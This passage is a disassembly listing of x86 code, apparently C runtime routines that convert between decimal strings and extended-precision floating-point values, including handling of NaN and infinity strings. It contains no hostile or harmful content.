loc_412917:				; CODE XREF: sub_41279D+196j
		cmp	al, 39h
		jg	short loc_412935
		cmp	[ebp+var_4C], 19h
		jnb	short loc_41292B
		inc	[ebp+var_4C]
		sub	al, bl
		mov	[edi], al
		inc	edi
		jmp	short loc_41292E
; ---------------------------------------------------------------------------

loc_41292B:				; CODE XREF: sub_41279D+182j
		inc	[ebp+var_50]

loc_41292E:				; CODE XREF: sub_41279D+18Cj
		mov	al, [edx]
		inc	edx

loc_412931:				; CODE XREF: sub_41279D+178j
		cmp	al, bl
		jge	short loc_412917

loc_412935:				; CODE XREF: sub_41279D+17Cj
		mov	ecx, [ebp+arg_1C]
		mov	ecx, [ecx]
		mov	ecx, [ecx+0BCh]
		mov	ecx, [ecx]
		cmp	al, [ecx]
		jz	loc_4128A7

loc_41294A:				; CODE XREF: sub_41279D+1D6j
					; sub_41279D+1F0j
		cmp	al, 2Bh
		jz	short loc_4128D7
		cmp	al, 2Dh
		jz	short loc_4128D7
		jmp	loc_4128B7
; ---------------------------------------------------------------------------

loc_412957:				; CODE XREF: sub_41279D+91j
					; DATA XREF: .text:off_412E31o
		cmp	[ebp+var_4C], 0	; jumptable 0041282E case 4
		mov	[ebp+var_58], esi
		mov	[ebp+var_5C], esi
		jnz	short loc_412989
		jmp	short loc_41296B
; ---------------------------------------------------------------------------

loc_412965:				; CODE XREF: sub_41279D+1D0j
		dec	[ebp+var_50]
		mov	al, [edx]
		inc	edx

loc_41296B:				; CODE XREF: sub_41279D+1C6j
		cmp	al, bl
		jz	short loc_412965
		jmp	short loc_412989
; ---------------------------------------------------------------------------

loc_412971:				; CODE XREF: sub_41279D+1EEj
		cmp	al, 39h
		jg	short loc_41294A
		cmp	[ebp+var_4C], 19h
		jnb	short loc_412986
		inc	[ebp+var_4C]
		sub	al, bl
		mov	[edi], al
		inc	edi
		dec	[ebp+var_50]

loc_412986:				; CODE XREF: sub_41279D+1DCj
		mov	al, [edx]
		inc	edx

loc_412989:				; CODE XREF: sub_41279D+1C4j
					; sub_41279D+1D2j
		cmp	al, bl
		jge	short loc_412971
		jmp	short loc_41294A
; ---------------------------------------------------------------------------

loc_41298F:				; CODE XREF: sub_41279D+91j
					; DATA XREF: .text:off_412E31o
		sub	al, bl		; jumptable 0041282E case 5
		cmp	al, 9
		mov	[ebp+var_5C], esi
		ja	loc_41290A
		push	4
		jmp	loc_412841
; ---------------------------------------------------------------------------

loc_4129A3:				; CODE XREF: sub_41279D+91j
					; DATA XREF: .text:off_412E31o
		lea	ecx, [edx-2]	; jumptable 0041282E case 6
		mov	[ebp+var_54], ecx
		mov	cl, al
		sub	cl, 31h
		cmp	cl, 8
		ja	short loc_4129BA

loc_4129B3:				; CODE XREF: sub_41279D+25Cj
					; sub_41279D+269j
		push	9
		jmp	loc_412841
; ---------------------------------------------------------------------------

loc_4129BA:				; CODE XREF: sub_41279D+214j
		movsx	eax, al
		sub	eax, 2Bh
		jz	short loc_4129E2
		dec	eax
		dec	eax
		jz	short loc_4129D6
		sub	eax, 3

loc_4129C9:				; CODE XREF: sub_41279D+26Dj
		jnz	loc_41290A
		push	8
		jmp	loc_412858
; ---------------------------------------------------------------------------

loc_4129D6:				; CODE XREF: sub_41279D+227j
					; sub_41279D+285j
		or	[ebp+var_68], 0FFFFFFFFh
		push	7
		pop	ecx
		jmp	loc_412822
; ---------------------------------------------------------------------------

loc_4129E2:				; CODE XREF: sub_41279D+223j
					; sub_41279D+281j
		push	7
		jmp	loc_412858
; ---------------------------------------------------------------------------

loc_4129E9:				; CODE XREF: sub_41279D+91j
					; DATA XREF: .text:off_412E31o
		mov	[ebp+var_60], esi ; jumptable 0041282E case 8
		jmp	short loc_4129F1
; ---------------------------------------------------------------------------

loc_4129EE:				; CODE XREF: sub_41279D+256j
		mov	al, [edx]
		inc	edx

loc_4129F1:				; CODE XREF: sub_41279D+24Fj
		cmp	al, bl
		jz	short loc_4129EE
		sub	al, 31h
		cmp	al, 8
		jbe	short loc_4129B3

loc_4129FB:				; CODE XREF: sub_41279D+CDj
					; sub_41279D+11Cj ...
		dec	edx
		jmp	short loc_412A26
; ---------------------------------------------------------------------------

loc_4129FE:				; CODE XREF: sub_41279D+91j
					; DATA XREF: .text:off_412E31o
		mov	cl, al		; jumptable 0041282E case 7
		sub	cl, 31h
		cmp	cl, 8
		jbe	short loc_4129B3
		cmp	al, bl
		jmp	short loc_4129C9
; ---------------------------------------------------------------------------

loc_412A0C:				; CODE XREF: sub_41279D+91j
					; DATA XREF: .text:off_412E31o
		cmp	[ebp+arg_18], 0	; jumptable 0041282E case 11
		jz	short loc_412A59
		movsx	eax, al
		sub	eax, 2Bh
		lea	ecx, [edx-1]
		mov	[ebp+var_54], ecx
		jz	short loc_4129E2
		dec	eax
		dec	eax
		jz	short loc_4129D6
		mov	edx, ecx

loc_412A26:				; CODE XREF: sub_41279D+170j
					; sub_41279D+25Fj ...
		cmp	[ebp+var_58], 0
		mov	eax, [ebp+var_70]
		mov	[eax], edx
		jz	loc_412DDA
		push	18h
		pop	eax
		cmp	[ebp+var_4C], eax
		jbe	short loc_412A4D
		cmp	[ebp+var_9], 5
		jl	short loc_412A46
		inc	[ebp+var_9]

loc_412A46:				; CODE XREF: sub_41279D+2A4j
		dec	edi
		inc	[ebp+var_50]
		mov	[ebp+var_4C], eax

loc_412A4D:				; CODE XREF: sub_41279D+29Ej
		cmp	[ebp+var_4C], 0
		jbe	loc_412E01
		jmp	short loc_412AB2
; ---------------------------------------------------------------------------

loc_412A59:				; CODE XREF: sub_41279D+273j
		push	0Ah
		pop	ecx
		dec	edx

loc_412A5D:				; CODE XREF: sub_41279D+8Bj
					; sub_41279D+91j
					; DATA XREF: ...
		cmp	ecx, 0Ah	; default
					; jumptable 0041282E case 10
		jnz	loc_412822
		jmp	short loc_412A26
; ---------------------------------------------------------------------------

loc_412A68:				; CODE XREF: sub_41279D+91j
					; DATA XREF: .text:off_412E31o
		mov	[ebp+var_60], esi ; jumptable 0041282E case 9
		xor	ecx, ecx
		jmp	short loc_412A88
; ---------------------------------------------------------------------------

loc_412A6F:				; CODE XREF: sub_41279D+2EDj
		cmp	al, 39h
		jg	short loc_412A93
		imul	ecx, 0Ah
		movsx	esi, al
		lea	ecx, [ecx+esi-30h]
		cmp	ecx, 1450h
		jg	short loc_412A8E
		mov	al, [edx]
		inc	edx

loc_412A88:				; CODE XREF: sub_41279D+2D0j
		cmp	al, bl
		jge	short loc_412A6F
		jmp	short loc_412A93
; ---------------------------------------------------------------------------

loc_412A8E:				; CODE XREF: sub_41279D+2E6j
		mov	ecx, 1451h

loc_412A93:				; CODE XREF: sub_41279D+2D4j
					; sub_41279D+2EFj
		mov	[ebp+var_64], ecx
		jmp	short loc_412AA3
; ---------------------------------------------------------------------------

loc_412A98:				; CODE XREF: sub_41279D+308j
		cmp	al, 39h
		jg	loc_4129FB
		mov	al, [edx]
		inc	edx

loc_412AA3:				; CODE XREF: sub_41279D+2F9j
		cmp	al, bl
		jge	short loc_412A98
		jmp	loc_4129FB
; ---------------------------------------------------------------------------

loc_412AAC:				; CODE XREF: sub_41279D+319j
		dec	[ebp+var_4C]
		inc	[ebp+var_50]

loc_412AB2:				; CODE XREF: sub_41279D+2BAj
		dec	edi
		cmp	byte ptr [edi],	0
		jz	short loc_412AAC
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+var_4C]
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_413B5A
		mov	eax, [ebp+var_64]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_68], ecx
		jge	short loc_412AD7
		neg	eax

loc_412AD7:				; CODE XREF: sub_41279D+336j
		add	eax, [ebp+var_50]
		cmp	[ebp+var_60], ecx
		jnz	short loc_412AE2
		add	eax, [ebp+arg_10]

loc_412AE2:				; CODE XREF: sub_41279D+340j
		cmp	[ebp+var_5C], ecx
		jnz	short loc_412AEA
		sub	eax, [ebp+arg_14]

loc_412AEA:				; CODE XREF: sub_41279D+348j
		cmp	eax, 1450h
		jg	loc_412DE3
		cmp	eax, 0FFFFEBB0h
		jl	loc_412DFA
		mov	esi, offset dword_424260
		sub	esi, 60h
		cmp	eax, ecx
		mov	[ebp+var_54], eax
		jz	loc_412DC8
		jge	short loc_412B22
		neg	eax
		mov	esi, offset dword_4243C0
		mov	[ebp+var_54], eax
		sub	esi, 60h

loc_412B22:				; CODE XREF: sub_41279D+376j
		cmp	[ebp+arg_C], ecx
		jnz	short loc_412B2B
		mov	word ptr [ebp+var_3C], cx

loc_412B2B:				; CODE XREF: sub_41279D+388j
		cmp	[ebp+var_54], ecx
		jz	loc_412DC8

loc_412B34:				; CODE XREF: sub_41279D+625j
		mov	eax, [ebp+var_54]
		sar	[ebp+var_54], 3
		add	esi, 54h
		and	eax, 7
		test	eax, eax
		mov	[ebp+var_4C], esi
		jz	loc_412DBE
		imul	eax, 0Ch
		add	eax, esi
		mov	ebx, eax
		cmp	word ptr [ebx],	8000h
		mov	[ebp+var_70], ebx
		jb	short loc_412B71
		mov	esi, ebx
		lea	edi, [ebp+var_48]
		movsd
		movsd
		movsd
		dec	[ebp+var_46]
		mov	esi, [ebp+var_4C]
		lea	ebx, [ebp+var_48]
		mov	[ebp+var_70], ebx

loc_412B71:				; CODE XREF: sub_41279D+3BEj
		movzx	edx, word ptr [ebx+0Ah]
		mov	ecx, [ebp+var_32]
		xor	eax, eax
		mov	[ebp+var_50], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], eax
		mov	eax, edx
		mov	edi, 7FFFh
		xor	eax, ecx
		and	ecx, edi
		and	edx, edi
		and	eax, 8000h
		cmp	cx, 7FFFh
		lea	edi, [edx+ecx]
		movzx	edi, di
		jnb	loc_412DA4
		cmp	dx, 7FFFh
		jnb	loc_412DA4
		cmp	di, 0BFFDh
		ja	loc_412DA4
		cmp	di, 3FBFh
		ja	short loc_412BD3
		xor	eax, eax
		mov	[ebp+var_38], eax
		mov	[ebp+var_3C], eax
		jmp	loc_412DBB
; ---------------------------------------------------------------------------

loc_412BD3:				; CODE XREF: sub_41279D+427j
		test	cx, cx
		jnz	short loc_412BF7
		inc	edi
		test	dword ptr [ebp-34h], 7FFFFFFFh
		jnz	short loc_412BF7
		cmp	[ebp+var_38], 0
		jnz	short loc_412BF7
		cmp	[ebp+var_3C], 0
		jnz	short loc_412BF7
		and	word ptr [ebp+var_32], cx
		jmp	loc_412DBE
; ---------------------------------------------------------------------------

loc_412BF7:				; CODE XREF: sub_41279D+439j
					; sub_41279D+443j ...
		xor	ecx, ecx
		cmp	dx, cx
		jnz	short loc_412C1F
		inc	edi
		test	dword ptr [ebx+8], 7FFFFFFFh
		jnz	short loc_412C1F
		cmp	[ebx+4], ecx
		jnz	short loc_412C1F
		cmp	[ebx], ecx
		jnz	short loc_412C1F
		mov	[ebp-34h], ecx
		mov	[ebp+var_38], ecx
		mov	[ebp+var_3C], ecx
		jmp	loc_412DBE
; ---------------------------------------------------------------------------

loc_412C1F:				; CODE XREF: sub_41279D+45Fj
					; sub_41279D+469j ...
		and	[ebp+var_68], ecx
		lea	esi, [ebp+var_28]
		mov	[ebp+var_58], 5

loc_412C2C:				; CODE XREF: sub_41279D+4FFj
		mov	ecx, [ebp+var_68]
		mov	edx, [ebp+var_58]
		add	ecx, ecx
		test	edx, edx
		mov	[ebp+var_64], edx
		jle	short loc_412C90
		lea	ecx, [ebp+ecx+var_3C]
		add	ebx, 8
		mov	[ebp+var_5C], ecx
		mov	[ebp+var_60], ebx

loc_412C48:				; CODE XREF: sub_41279D+4EEj
		mov	ecx, [ebp+var_60]
		mov	edx, [ebp+var_5C]
		movzx	edx, word ptr [edx]
		movzx	ecx, word ptr [ecx]
		and	[ebp+var_78], 0
		imul	ecx, edx
		mov	edx, [esi-4]
		lea	ebx, [edx+ecx]
		cmp	ebx, edx
		jb	short loc_412C69
		cmp	ebx, ecx
		jnb	short loc_412C70

loc_412C69:				; CODE XREF: sub_41279D+4C6j
		mov	[ebp+var_78], 1

loc_412C70:				; CODE XREF: sub_41279D+4CAj
		cmp	[ebp+var_78], 0
		mov	[esi-4], ebx
		jz	short loc_412C7C
		inc	word ptr [esi]

loc_412C7C:				; CODE XREF: sub_41279D+4DAj
		add	[ebp+var_5C], 2
		sub	[ebp+var_60], 2
		dec	[ebp+var_64]
		cmp	[ebp+var_64], 0
		jg	short loc_412C48
		mov	ebx, [ebp+var_70]

loc_412C90:				; CODE XREF: sub_41279D+49Cj
		inc	esi
		inc	esi
		inc	[ebp+var_68]
		dec	[ebp+var_58]
		cmp	[ebp+var_58], 0
		jg	short loc_412C2C
		add	edi, 0C002h
		test	di, di
		jle	short loc_412CE4

loc_412CA9:				; CODE XREF: sub_41279D+540j
		test	[ebp+var_24], 80000000h
		jnz	short loc_412CDF
		mov	esi, [ebp+var_28]
		mov	ecx, [ebp+var_2C]
		shl	[ebp+var_2C], 1
		shr	ecx, 1Fh
		mov	edx, esi
		add	esi, esi
		or	esi, ecx
		mov	ecx, [ebp+var_24]
		shr	edx, 1Fh
		add	ecx, ecx
		or	ecx, edx
		add	edi, 0FFFFh
		test	di, di
		mov	[ebp+var_28], esi
		mov	[ebp+var_24], ecx
		jg	short loc_412CA9

loc_412CDF:				; CODE XREF: sub_41279D+513j
		test	di, di
		jg	short loc_412D32

loc_412CE4:				; CODE XREF: sub_41279D+50Aj
		add	edi, 0FFFFh
		test	di, di
		jge	short loc_412D32
		mov	ecx, edi
		neg	ecx
		movzx	esi, cx
		add	edi, esi

loc_412CF8:				; CODE XREF: sub_41279D+588j
		test	byte ptr [ebp+var_2C], 1
		jz	short loc_412D01
		inc	[ebp+var_50]

loc_412D01:				; CODE XREF: sub_41279D+55Fj
		mov	ecx, [ebp+var_24]
		mov	ebx, [ebp+var_28]
		mov	edx, [ebp+var_28]
		shr	[ebp+var_24], 1
		shl	ecx, 1Fh
		shr	ebx, 1
		or	ebx, ecx
		mov	ecx, [ebp+var_2C]
		shl	edx, 1Fh
		shr	ecx, 1
		or	ecx, edx
		dec	esi
		mov	[ebp+var_28], ebx
		mov	[ebp+var_2C], ecx
		jnz	short loc_412CF8
		cmp	[ebp+var_50], 0
		jz	short loc_412D32
		or	word ptr [ebp+var_2C], 1

loc_412D32:				; CODE XREF: sub_41279D+545j
					; sub_41279D+550j ...
		cmp	word ptr [ebp+var_2C], 8000h
		ja	short loc_412D4B
		mov	ecx, [ebp+var_2C]
		and	ecx, 1FFFFh
		cmp	ecx, 18000h
		jnz	short loc_412D7E

loc_412D4B:				; CODE XREF: sub_41279D+59Bj
		cmp	[ebp+var_2C+2],	0FFFFFFFFh
		jnz	short loc_412D7B
		and	[ebp+var_2C+2],	0
		cmp	[ebp+var_28+2],	0FFFFFFFFh
		jnz	short loc_412D76
		and	[ebp+var_28+2],	0
		cmp	word ptr [ebp+var_24+2], 0FFFFh
		jnz	short loc_412D70
		mov	word ptr [ebp+var_24+2], 8000h
		inc	edi
		jmp	short loc_412D7E
; ---------------------------------------------------------------------------

loc_412D70:				; CODE XREF: sub_41279D+5C8j
		inc	word ptr [ebp+var_24+2]
		jmp	short loc_412D7E
; ---------------------------------------------------------------------------

loc_412D76:				; CODE XREF: sub_41279D+5BCj
		inc	[ebp+var_28+2]
		jmp	short loc_412D7E
; ---------------------------------------------------------------------------

loc_412D7B:				; CODE XREF: sub_41279D+5B2j
		inc	[ebp+var_2C+2]

loc_412D7E:				; CODE XREF: sub_41279D+5ACj
					; sub_41279D+5D1j ...
		cmp	di, 7FFFh
		mov	esi, [ebp+var_4C]
		jnb	short loc_412DA4
		mov	cx, word ptr [ebp+var_2C+2]
		mov	word ptr [ebp+var_3C], cx
		mov	ecx, [ebp+var_28]
		mov	[ebp+var_3C+2],	ecx
		mov	ecx, [ebp+var_24]
		or	edi, eax
		mov	[ebp+var_38+2],	ecx
		mov	word ptr [ebp+var_32], di
		jmp	short loc_412DBE
; ---------------------------------------------------------------------------

loc_412DA4:				; CODE XREF: sub_41279D+406j
					; sub_41279D+411j ...
		neg	ax
		sbb	eax, eax
		and	[ebp+var_38], 0
		and	eax, 80000000h
		add	eax, 7FFF8000h
		and	[ebp+var_3C], 0

loc_412DBB:				; CODE XREF: sub_41279D+431j
		mov	[ebp-34h], eax

loc_412DBE:				; CODE XREF: sub_41279D+3A9j
					; sub_41279D+455j ...
		cmp	[ebp+var_54], 0
		jnz	loc_412B34

loc_412DC8:				; CODE XREF: sub_41279D+370j
					; sub_41279D+391j
		mov	eax, [ebp-34h]
		movzx	ecx, word ptr [ebp+var_3C]
		mov	esi, [ebp+var_3C+2]
		mov	edx, [ebp+var_38+2]
		shr	eax, 10h
		jmp	short loc_412E09
; ---------------------------------------------------------------------------

loc_412DDA:				; CODE XREF: sub_41279D+292j
		mov	[ebp+var_6C], 4
		jmp	short loc_412E01
; ---------------------------------------------------------------------------

loc_412DE3:				; CODE XREF: sub_41279D+352j
		xor	esi, esi
		mov	eax, 7FFFh
		mov	edx, 80000000h
		xor	ecx, ecx
		mov	[ebp+var_6C], 2
		jmp	short loc_412E09
; ---------------------------------------------------------------------------

loc_412DFA:				; CODE XREF: sub_41279D+35Dj
		mov	[ebp+var_6C], 1

loc_412E01:				; CODE XREF: sub_41279D+2B4j
					; sub_41279D+644j
		xor	ecx, ecx
		xor	eax, eax
		xor	edx, edx
		xor	esi, esi

loc_412E09:				; CODE XREF: sub_41279D+63Bj
					; sub_41279D+65Bj
		mov	edi, [ebp+var_7C]
		or	eax, [ebp+var_74]
		mov	[edi], cx
		mov	[edi+0Ah], ax
		mov	eax, [ebp+var_6C]
		mov	[edi+2], esi
		mov	[edi+6], edx

loc_412E1F:				; CODE XREF: sub_41279D+63j
		mov	ecx, [ebp+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_402AD0
		leave
		retn
sub_41279D	endp

; ---------------------------------------------------------------------------
		db 8Dh,	49h, 0
off_412E31	dd offset loc_412835	; DATA XREF: sub_41279D+91r
		dd offset loc_412889	; jump table for switch	statement
		dd offset loc_4128DF
		dd offset loc_412912
		dd offset loc_412957
		dd offset loc_41298F
		dd offset loc_4129A3
		dd offset loc_4129FE
		dd offset loc_4129E9
		dd offset loc_412A68
		dd offset loc_412A5D
		dd offset loc_412A0C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412E61	proc near		; CODE XREF: sub_411B21+3Fp

var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_1A		= dword	ptr -1Ah
var_16		= dword	ptr -16h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  8
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 74h
		mov	eax, dword_423064
		xor	eax, ebp
		mov	[ebp+var_4], eax
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		lea	esi, [ebp+arg_0]
		lea	edi, [ebp+var_10]
		movsd
		movsd
		movsw
		mov	edx, [ebp+var_8]
		mov	ecx, edx
		mov	eax, 8000h
		and	ecx, eax
		and	edx, 7FFFh
		test	cx, cx
		mov	[ebp+var_60], ebx
		mov	byte ptr [ebp+var_30], 0CCh
		mov	byte ptr [ebp+var_30+1], 0CCh
		mov	byte ptr [ebp+var_30+2], 0CCh
		mov	byte ptr [ebp+var_30+3], 0CCh
		mov	byte ptr [ebp+var_2C], 0CCh
		mov	byte ptr [ebp+var_2C+1], 0CCh
		mov	byte ptr [ebp+var_2C+2], 0CCh
		mov	byte ptr [ebp+var_2C+3], 0CCh
		mov	byte ptr [ebp+var_28], 0CCh
		mov	byte ptr [ebp+var_28+1], 0CCh
		mov	byte ptr [ebp+var_28+2], 0FBh
		mov	byte ptr [ebp+var_28+3], 3Fh
		mov	[ebp+var_74], 1
		mov	[ebp+var_6C], ecx
		jz	short loc_412EDB
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_412EDF
; ---------------------------------------------------------------------------

loc_412EDB:				; CODE XREF: sub_412E61+72j
		mov	byte ptr [ebx+2], 20h

loc_412EDF:				; CODE XREF: sub_412E61+78j
		test	dx, dx
		mov	esi, [ebp+var_C]
		mov	edi, [ebp+var_10]
		jnz	short loc_412F18
		test	esi, esi
		jnz	short loc_412F18
		test	edi, edi
		jnz	short loc_412F18
		and	[ebx], di
		cmp	cx, ax
		setnz	al
		dec	al
		and	al, 0Dh
		add	al, 20h
		mov	[ebx+2], al
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		mov	byte ptr [ebx+5], 0

loc_412F10:				; CODE XREF: sub_412E61+6FBj
					; sub_412E61+8C3j
		xor	eax, eax
		inc	eax
		jmp	loc_4136E1
; ---------------------------------------------------------------------------

loc_412F18:				; CODE XREF: sub_412E61+87j
					; sub_412E61+8Bj ...
		cmp	dx, 7FFFh
		jnz	loc_412FC1
		mov	eax, 80000000h
		cmp	esi, eax
		mov	word ptr [ebx],	1
		jnz	short loc_412F35
		test	edi, edi
		jz	short loc_412F44

loc_412F35:				; CODE XREF: sub_412E61+CEj
		test	esi, 40000000h
		jnz	short loc_412F44
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_412F95
; ---------------------------------------------------------------------------

loc_412F44:				; CODE XREF: sub_412E61+D2j
					; sub_412E61+DAj
		test	cx, cx
		jz	short loc_412F5C
		cmp	esi, 0C0000000h
		jnz	short loc_412F5C
		test	edi, edi
		jnz	short loc_412F90
		push	offset a1Ind	; "1#IND"
		jmp	short loc_412F69
; ---------------------------------------------------------------------------

loc_412F5C:				; CODE XREF: sub_412E61+E6j
					; sub_412E61+EEj
		cmp	esi, eax
		jnz	short loc_412F90
		test	edi, edi
		jnz	short loc_412F90
		push	offset a1Inf	; "1#INF"

loc_412F69:				; CODE XREF: sub_412E61+F9j
		lea	eax, [ebx+4]
		push	16h
		push	eax
		call	sub_407A85
		add	esp, 0Ch
		xor	esi, esi
		test	eax, eax
		jz	short loc_412F8A
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		call	sub_4031FD
		add	esp, 14h

loc_412F8A:				; CODE XREF: sub_412E61+11Aj
		mov	byte ptr [ebx+3], 5
		jmp	short loc_412FBA
; ---------------------------------------------------------------------------

loc_412F90:				; CODE XREF: sub_412E61+F2j
					; sub_412E61+FDj ...
		push	offset a1Qnan	; "1#QNAN"

loc_412F95:				; CODE XREF: sub_412E61+E1j
		lea	eax, [ebx+4]
		push	16h
		push	eax
		call	sub_407A85
		add	esp, 0Ch
		xor	esi, esi
		test	eax, eax
		jz	short loc_412FB6
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		call	sub_4031FD
		add	esp, 14h

loc_412FB6:				; CODE XREF: sub_412E61+146j
		mov	byte ptr [ebx+3], 6

loc_412FBA:				; CODE XREF: sub_412E61+12Dj
		xor	eax, eax
		jmp	loc_4136E1
; ---------------------------------------------------------------------------

loc_412FC1:				; CODE XREF: sub_412E61+BCj
		movzx	ecx, dx
		mov	ebx, ecx
		imul	ecx, 4D10h
		shr	ebx, 8
		mov	eax, esi
		shr	eax, 18h
		lea	eax, [ebx+eax*2]
		imul	eax, 4Dh
		lea	eax, [eax+ecx-134312F4h]
		sar	eax, 10h
		movzx	ecx, ax
		movsx	ebx, cx
		mov	[ebp+var_4C], ecx
		xor	eax, eax
		mov	ecx, offset dword_424260
		neg	ebx
		sub	ecx, 60h
		cmp	ebx, eax
		mov	word ptr [ebp+var_16], dx
		mov	[ebp+var_1A], esi
		mov	[ebp+var_20+2],	edi
		mov	word ptr [ebp+var_20], ax
		mov	[ebp+var_68], ecx
		jz	loc_4132C0
		jge	short loc_413021
		mov	ecx, offset dword_4243C0
		neg	ebx
		sub	ecx, 60h
		mov	[ebp+var_68], ecx

loc_413021:				; CODE XREF: sub_412E61+1B1j
		cmp	ebx, eax
		jz	loc_4132C0

loc_413029:				; CODE XREF: sub_412E61+457j
		add	[ebp+var_68], 54h
		mov	ecx, ebx
		and	ecx, 7
		sar	ebx, 3
		test	ecx, ecx
		jz	loc_4132B6
		imul	ecx, 0Ch
		add	ecx, [ebp+var_68]
		cmp	word ptr [ecx],	8000h
		mov	[ebp+var_64], ecx
		jb	short loc_413060
		mov	esi, ecx
		lea	edi, [ebp+var_3C]
		movsd
		movsd
		lea	eax, [ebp+var_3C]
		movsd
		dec	[ebp+var_3C+2]
		mov	[ebp+var_64], eax
		mov	ecx, eax

loc_413060:				; CODE XREF: sub_412E61+1EAj
		movzx	edi, word ptr [ecx+0Ah]
		mov	edx, [ebp+var_16]
		xor	eax, eax
		mov	ecx, edi
		mov	esi, 7FFFh
		xor	ecx, edx
		and	edx, esi
		and	edi, esi
		mov	[ebp+var_48], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		and	ecx, 8000h
		cmp	dx, si
		lea	eax, [edi+edx]
		movzx	eax, ax
		jnb	loc_41329A
		cmp	di, si
		jnb	loc_41329A
		cmp	ax, 0BFFDh
		ja	loc_41329A
		cmp	ax, 3FBFh
		ja	short loc_4130C0
		xor	eax, eax
		mov	[ebp+var_1A+2],	eax
		mov	[ebp-1Ch], eax
		mov	[ebp+var_20], eax
		jmp	loc_4132B6
; ---------------------------------------------------------------------------

loc_4130C0:				; CODE XREF: sub_412E61+24Dj
		xor	esi, esi
		cmp	dx, si
		jnz	short loc_4130E4
		inc	eax
		test	[ebp+var_1A+2],	7FFFFFFFh
		jnz	short loc_4130E4
		cmp	[ebp-1Ch], esi
		jnz	short loc_4130E4
		cmp	[ebp+var_20], esi
		jnz	short loc_4130E4
		mov	word ptr [ebp+var_16], si
		jmp	loc_4132B6
; ---------------------------------------------------------------------------

loc_4130E4:				; CODE XREF: sub_412E61+264j
					; sub_412E61+26Ej ...
		cmp	di, si
		jnz	short loc_41310D
		mov	edx, [ebp+var_64]
		inc	eax
		test	dword ptr [edx+8], 7FFFFFFFh
		jnz	short loc_41310D
		cmp	[edx+4], esi
		jnz	short loc_41310D
		cmp	[edx], esi
		jnz	short loc_41310D
		mov	[ebp+var_1A+2],	esi
		mov	[ebp-1Ch], esi
		mov	[ebp+var_20], esi
		jmp	loc_4132B6
; ---------------------------------------------------------------------------

loc_41310D:				; CODE XREF: sub_412E61+286j
					; sub_412E61+293j ...
		lea	edi, [ebp+var_C]
		mov	[ebp+var_5C], esi
		mov	[ebp+var_44], edi
		mov	[ebp+var_40], 5

loc_41311D:				; CODE XREF: sub_412E61+332j
		mov	edx, [ebp+var_5C]
		mov	esi, [ebp+var_40]
		add	edx, edx
		test	esi, esi
		mov	[ebp+var_50], esi
		jle	short loc_413184
		lea	edx, [ebp+edx+var_20]
		mov	[ebp+var_58], edx
		mov	edx, [ebp+var_64]
		add	edx, 8
		mov	[ebp+var_54], edx

loc_41313C:				; CODE XREF: sub_412E61+321j
		mov	edx, [ebp+var_58]
		mov	esi, [ebp+var_54]
		movzx	esi, word ptr [esi]
		movzx	edx, word ptr [edx]
		mov	edi, [edi-4]
		imul	edx, esi
		and	[ebp+var_70], 0
		lea	esi, [edi+edx]
		cmp	esi, edi
		jb	short loc_41315D
		cmp	esi, edx
		jnb	short loc_413164

loc_41315D:				; CODE XREF: sub_412E61+2F6j
		mov	[ebp+var_70], 1

loc_413164:				; CODE XREF: sub_412E61+2FAj
		cmp	[ebp+var_70], 0
		mov	edi, [ebp+var_44]
		mov	[edi-4], esi
		jz	short loc_413173
		inc	word ptr [edi]

loc_413173:				; CODE XREF: sub_412E61+30Dj
		add	[ebp+var_58], 2
		sub	[ebp+var_54], 2
		dec	[ebp+var_50]
		cmp	[ebp+var_50], 0
		jg	short loc_41313C

loc_413184:				; CODE XREF: sub_412E61+2C9j
		inc	edi
		inc	edi
		inc	[ebp+var_5C]
		dec	[ebp+var_40]
		cmp	[ebp+var_40], 0
		mov	[ebp+var_44], edi
		jg	short loc_41311D
		add	eax, 0C002h
		test	ax, ax
		jle	short loc_4131DA

loc_41319F:				; CODE XREF: sub_412E61+372j
		test	[ebp+var_8], 80000000h
		jnz	short loc_4131D5
		mov	edx, [ebp+var_10]
		mov	edi, [ebp+var_C]
		mov	esi, [ebp+var_C]
		shl	[ebp+var_10], 1
		shr	edx, 1Fh
		add	edi, edi
		or	edi, edx
		mov	edx, [ebp+var_8]
		shr	esi, 1Fh
		add	edx, edx
		or	edx, esi
		add	eax, 0FFFFh
		test	ax, ax
		mov	[ebp+var_C], edi
		mov	[ebp+var_8], edx
		jg	short loc_41319F

loc_4131D5:				; CODE XREF: sub_412E61+345j
		test	ax, ax
		jg	short loc_41322C

loc_4131DA:				; CODE XREF: sub_412E61+33Cj
		add	eax, 0FFFFh
		test	ax, ax
		jge	short loc_41322C
		mov	edx, eax
		neg	edx
		movzx	edx, dx
		mov	[ebp+var_44], edx
		add	eax, edx

loc_4131F0:				; CODE XREF: sub_412E61+3BEj
		test	byte ptr [ebp+var_10], 1
		jz	short loc_4131F9
		inc	[ebp+var_48]

